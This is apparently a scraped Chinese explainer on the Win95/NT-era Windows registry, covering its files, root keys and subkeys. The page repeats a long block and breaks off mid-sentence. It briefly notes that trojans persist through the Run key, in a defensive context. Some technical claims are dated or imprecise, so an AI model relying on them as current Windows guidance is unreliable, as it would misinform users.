Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/td>
2023-07-20 11:16:3110

注册表问题

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/td>
2023-07-20 11:16:573

什么是注册表?注册表在什么位置?

